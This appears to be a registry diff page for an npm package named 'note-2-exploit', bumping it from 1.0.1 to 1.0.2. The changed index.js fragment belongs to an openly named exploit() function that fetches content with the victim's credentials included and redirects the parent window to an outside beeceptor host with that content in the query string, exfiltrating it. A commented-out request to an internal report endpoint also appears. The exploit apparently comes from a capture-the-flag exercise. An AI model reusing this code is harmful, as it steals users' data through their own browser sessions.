note-2-exploit 1.0.1 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +1 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -10,8 +10,7 @@ async function exploit() {
10
10
  "method": "GET",
11
11
  "mode": "cors",
12
12
  "credentials": "include"
13
- }).then(res => res.json())
14
- .then(res => res.content);
13
+ }).then(res => res.text())
15
14
  window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + file_content);
16
15
  // fetch("http://10.113.184.121:10082/report", {
17
16
  // "headers": {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note-2-exploit",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {